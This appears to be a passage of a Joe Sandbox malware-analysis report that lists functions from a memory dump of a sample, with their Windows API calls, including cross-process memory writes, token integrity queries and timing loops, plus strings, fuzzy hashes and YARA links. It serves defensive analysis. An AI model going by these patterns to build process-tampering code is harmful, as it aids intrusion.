Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: a433fc2fc41b03045da4bfa09b7a78e3834637f1d941cf4f82845d0d88842278
Instruction ID: e0f77ea04889eee9912dc2f8caf04ee8d36aaec89530208ef8ce292bdf8e14d6
Opcode Fuzzy Hash: a433fc2fc41b03045da4bfa09b7a78e3834637f1d941cf4f82845d0d88842278
Instruction Fuzzy Hash: EA214F70800306EFDF149F16DC44BA97BE9FB10326F18816AFC55AA1A0D3729AD98B74

Function 00D62E57 Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00D62E81
CreateThread.KERNEL32(?,?,00D62FB7,00000000,?,?), ref: 00D62EC5
GetLastError.KERNEL32 ref: 00D62ECF
_free.LIBCMT ref: 00D62ED8
__dosmaperr.LIBCMT ref: 00D62EE3

Part of subcall function 00D6889E: __getptd_noexit.LIBCMT ref: 00D6889E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
String ID:
API String ID: 2664167353-0
Opcode ID: 5f4fdb5c348c5441d50896c95ca7ad204be26c4f36a153d76961ecf428a57c92
Instruction ID: 192e8ae780e9bf69f5b0fccdeb138edcf1001abd97a4d91338ac536e4ab0691a
Opcode Fuzzy Hash: 5f4fdb5c348c5441d50896c95ca7ad204be26c4f36a153d76961ecf428a57c92
Instruction Fuzzy Hash: 75116132104B06AFDB21AFA9EC41DBB7BA9EF45770B140539FA54C6192EB32D8019771

Function 00D7B8E7 Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00D7B903
GetLastError.KERNEL32(?,00D7B3CB,?,?,?), ref: 00D7B90D
GetProcessHeap.KERNEL32(00000008,?,?,00D7B3CB,?,?,?), ref: 00D7B91C
HeapAlloc.KERNEL32(00000000,?,00D7B3CB,?,?,?), ref: 00D7B923
GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00D7B93A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 1e43bb98b52f1e4cbf1d3050e33cfe2e9e5ab5187dfd52b4c0fff03a0897900f
Instruction ID: 42165d8e447161ba968f654393aade6cc7c0b795f6a5d48d8019f0355eed91a2
Opcode Fuzzy Hash: 1e43bb98b52f1e4cbf1d3050e33cfe2e9e5ab5187dfd52b4c0fff03a0897900f
Instruction Fuzzy Hash: C1016D7120130ABFDB114FA5DC88E6B7BAEEF8A764B14402AFA49C2250DB71DC41DA70

Function 00D88355 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00D88371
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00D8837F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00D88387
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00D88391
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00D883CD

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 51cdf4a47d6961a2a232f3f7691c930ab630b6aaca6e638b4ed42158ee41e1c2
Instruction ID: c1918786d4813b23af9b78c8c180c6db5a351d4c2726f1e6113cc78c5a8e74cb
Opcode Fuzzy Hash: 51cdf4a47d6961a2a232f3f7691c930ab630b6aaca6e638b4ed42158ee41e1c2
Instruction Fuzzy Hash: 70011735D0071AEBDF00ABA5ED48AEEBB79FB08B01F450055E542F2250DB7095509BB1

Function 00D7A857 Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 00D7A874
ProgIDFromCLSID.OLE32(?,00000000), ref: 00D7A88F
lstrcmpiW.KERNEL32(?,00000000), ref: 00D7A89D
CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00D7A8AD
CLSIDFromString.OLE32(?,?), ref: 00D7A8B9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 04b740fa075e594eb090733218d07021ad4708e09a4886febf9afa2695f92e86
Instruction ID: 757c7f0f475ae1252cbeca3d0f63d4a2356c1db6f0b8956074ba7a53ae7392ab
Opcode Fuzzy Hash: 04b740fa075e594eb090733218d07021ad4708e09a4886febf9afa2695f92e86
Instruction Fuzzy Hash: 60018F76600206AFDB114F58DC44B9EBBAEEF84351F158036F905D2210E770DD419BB2

Function 00D7B7EF Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00D7B806
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00D7B810
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00D7B81F
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00D7B826
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00D7B83C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: da6fd0eda4942b9f474e2cba00a0459dcca574669fbaa1e13d9a53d261ae29c4
Instruction ID: 2c65c2dd656e630b3484e36dfed05fad5647546411d4b4bdcb48b5eb9d05f7ff
Opcode Fuzzy Hash: da6fd0eda4942b9f474e2cba00a0459dcca574669fbaa1e13d9a53d261ae29c4
Instruction Fuzzy Hash: A8F04975200306AFEB211FA5EC88F6B3B6EFF4A764F04402AF945C7250DB609842DA71

Function 00D7B78E Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00D7B7A5
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00D7B7AF
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00D7B7BE
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00D7B7C5
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00D7B7DB

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 08fd6b5783f92e90b9868c227cf62f3135d50b07a854757a77e53e4277eb34a7
Instruction ID: 879270793c2268f14da045eaeb493755f5d7b49fe5ae652900c22a96b6451931
Opcode Fuzzy Hash: 08fd6b5783f92e90b9868c227cf62f3135d50b07a854757a77e53e4277eb34a7
Instruction Fuzzy Hash: 53F04F712403466FEB101FA5AC89F673BADFF86765F14402AF945C7250DB609C429A70

Function 00D7FA7B Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00D7FA8F
GetWindowTextW.USER32(00000000,?,00000100), ref: 00D7FAA6
MessageBeep.USER32(00000000), ref: 00D7FABE
KillTimer.USER32(?,0000040A), ref: 00D7FADA
EndDialog.USER32(?,00000001), ref: 00D7FAF4

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: ad7b898c7348485cd49f26d15a9c1b3f4d94c3aab7b886ee7d5b24d2e372fcb0
Instruction ID: 41f04a8c33f0458b6a2bb939c0a1e9375d8dbcb066b1693c5b99a146cd6349ed
Opcode Fuzzy Hash: ad7b898c7348485cd49f26d15a9c1b3f4d94c3aab7b886ee7d5b24d2e372fcb0
Instruction Fuzzy Hash: DF018130500706ABEB319B10DD4EF9677B9BB00B09F04427AB18BA55E0EBF0A944CA60

Function 00D5B517 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00D5B526
StrokeAndFillPath.GDI32(?,?,00DBF583,00000000,?), ref: 00D5B542
SelectObject.GDI32(?,00000000), ref: 00D5B555
DeleteObject.GDI32 ref: 00D5B568
StrokePath.GDI32(?), ref: 00D5B583

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: ee8296cd58475ae58c9e05050c81e1358f145caf14b03f8bc929a3882d73084f
Instruction ID: f1ce79aeaacea912f8e0a3c40c2ac45d4a9fd2ebaa57becc5af340ecc816ecb2
Opcode Fuzzy Hash: ee8296cd58475ae58c9e05050c81e1358f145caf14b03f8bc929a3882d73084f
Instruction Fuzzy Hash: 42F0C930004706AFDB195F2AED08B643FE5B701322F188265F8A9981F0D7328AD9DF30

Function 00D8FA15 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00D8FAB2
CoCreateInstance.OLE32(00DCDA7C,00000000,00000001,00DCD8EC,?), ref: 00D8FACA

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

CoUninitialize.OLE32 ref: 00D8FD2D

Strings

.lnk, xrefs: 00D8FA63, 00D8FA68, 00D8FA76

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 2f2ed8d8489c7f6a289ae287e7f6028c08e4a6594588844c5d5e0779b9378048
Instruction ID: 7a2b7d5eda20853bfcca0615759de2edfb5348ef7fd38e1a2dde4cc9e4286eb8
Opcode Fuzzy Hash: 2f2ed8d8489c7f6a289ae287e7f6028c08e4a6594588844c5d5e0779b9378048
Instruction Fuzzy Hash: B5A14A71508305AFD700EF64C892EABB7E9EF88704F40491DF59597192EB70EA09CBB2

Function 00D8EFCD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00D878AD: GetFullPathNameW.KERNEL32(?,00000105,?,?), ref: 00D878CB

CoInitialize.OLE32(00000000), ref: 00D8F04D
CoCreateInstance.OLE32(00DCDA7C,00000000,00000001,00DCD8EC,?), ref: 00D8F066
CoUninitialize.OLE32 ref: 00D8F083

Part of subcall function 00D484A6: __swprintf.LIBCMT ref: 00D484E5
Part of subcall function 00D484A6: __itow.LIBCMT ref: 00D48519

Strings

.lnk, xrefs: 00D8F02B, 00D8F03D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: b49aee6ab10a8239881215901223557c7623a8e14ad3e3a6ec3042e7cd70da42
Instruction ID: df64b22d69869c6f75447b0fcdb205b03e23eee07677adabeea8fa9467694da7
Opcode Fuzzy Hash: b49aee6ab10a8239881215901223557c7623a8e14ad3e3a6ec3042e7cd70da42
Instruction Fuzzy Hash: 95A138756043019FCB10EF14C884E6ABBE6FF89324F148958F8999B3A1DB31ED45CBA1

Function 00D63EED Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00D63F7D

Part of subcall function 00D6EE80: __87except.LIBCMT ref: 00D6EEBB

Strings

pow, xrefs: 00D63F55, 00D63F72

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: b88125bf3a2355041ed347b1149100c6df7b9f93146f8ec2bb070b42d32f84d1
Instruction ID: 871e3bc83501773424931025c16b2da3b7a2636a0d069564cae6fe647be43984
Opcode Fuzzy Hash: b88125bf3a2355041ed347b1149100c6df7b9f93146f8ec2bb070b42d32f84d1
Instruction Fuzzy Hash: 04517820D0960297DB11B718E90237A7BE4DF50710F288D69F4D5822EAEF35CDD8DA76

Function 00D5DA5A Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 162COMMON

Download Yara Rule

Strings

#, xrefs: 00D5DA9D
+, xrefs: 00D5DA96

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 8c457decf7f1e0795ad93d1bca520d155157a05247e306c2e98cc5619194e5d5
Instruction ID: c7600194abcdb5662a8e1c1ce9d932e087fe2e72b339897495c2ef2f58d99a0c
Opcode Fuzzy Hash: 8c457decf7f1e0795ad93d1bca520d155157a05247e306c2e98cc5619194e5d5
Instruction Fuzzy Hash: 1551DB34104246CFDF25EF68C485AEA3BB6EF26311F184055FC929B292D7349C4AD735

Function 00D8503C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,00DDDC40,?,0000000F,0000000C,00000016,00DDDC40,?), ref: 00D8507B

Part of subcall function 00D484A6: __swprintf.LIBCMT ref: 00D484E5
Part of subcall function 00D484A6: __itow.LIBCMT ref: 00D48519

Part of subcall function 00D4B8A7: _memmove.LIBCMT ref: 00D4B8FB

CharUpperBuffW.USER32(?,?,00000000,?), ref: 00D850FB

Strings

REMOVE, xrefs: 00D850AC
THIS, xrefs: 00D85139

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BuffCharUpper$__itow__swprintf_memmove
String ID: REMOVE$THIS
API String ID: 2528338962-776492005
Opcode ID: ff89f5e17672056ac3715d5f3e9dfb84c04b0818ae2aef5a3fff9653ceb69e05
Instruction ID: 6e48833569ba78e0649a7b95cebe324bd3ed169c025b4fb75e87f04f65c8dfa5
Opcode Fuzzy Hash: ff89f5e17672056ac3715d5f3e9dfb84c04b0818ae2aef5a3fff9653ceb69e05
Instruction Fuzzy Hash: 9041AF74A0060A9FCF01EF64D885AAEB7B5FF48314F088469E85AAB356DB34DD45CB70

Function 00D7CF7F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D84D41: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00D7C9FE,?,?,00000034,00000800,?,00000034), ref: 00D84D6B

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00D7CFC9

Part of subcall function 00D84D0C: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00D7CA2D,?,?,00000800,?,00001073,00000000,?,?), ref: 00D84D36

Part of subcall function 00D84C65: GetWindowThreadProcessId.USER32(?,?), ref: 00D84C90
Part of subcall function 00D84C65: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00D7C9C2,00000034,?,?,00001004,00000000,00000000), ref: 00D84CA0
Part of subcall function 00D84C65: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00D7C9C2,00000034,?,?,00001004,00000000,00000000), ref: 00D84CB6

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00D7D036
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00D7D083

Strings

@, xrefs: 00D7D09B

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: c35f325013c67f96e8cca99869396eed0e022da3d74e80ac27e670a074e10b54
Instruction ID: 115785bf20822680fb6af9ff9100980bfc27d20a0a2d184cbeb9bd2e88a545c6
Opcode Fuzzy Hash: c35f325013c67f96e8cca99869396eed0e022da3d74e80ac27e670a074e10b54
Instruction Fuzzy Hash: A7412976900219AFDB10EFA4CC85FEEBBB8EF49700F148095EA49B7181DA716E45CB71

Function 00DAA44D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00DDDBF0,00000000,?,?,?,?), ref: 00DAA4E6
GetWindowLongW.USER32 ref: 00DAA503
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00DAA513

Strings

SysTreeView32, xrefs: 00DAA4B8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 826653e50ac9c71d3dc6e13aea3acf94ea14ad65652a1c0d113da1b17a5009eb
Instruction ID: 69d1408c245673788cf027220faa7a60aeb0cd54486fa235aba775f7fb3a58fd
Opcode Fuzzy Hash: 826653e50ac9c71d3dc6e13aea3acf94ea14ad65652a1c0d113da1b17a5009eb
Instruction Fuzzy Hash: F331A031500606AFDB119E38CC45BE67BA9EB4A324F244725F979922E0D770E854DB70

Function 00DA9EE3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00DA9F6B
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00DA9F7F
SendMessageW.USER32(?,00001002,00000000,?), ref: 00DA9FA3

Strings

SysMonthCal32, xrefs: 00DA9F36

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 672a9788ae75b1e7d0af246b74564c911411737fd60c9c4eed7369a3523b75f3
Instruction ID: 7a24fb7e985bb475db94b6fe96063b3f17503ad3048275944efcb240f2d31f73
Opcode Fuzzy Hash: 672a9788ae75b1e7d0af246b74564c911411737fd60c9c4eed7369a3523b75f3
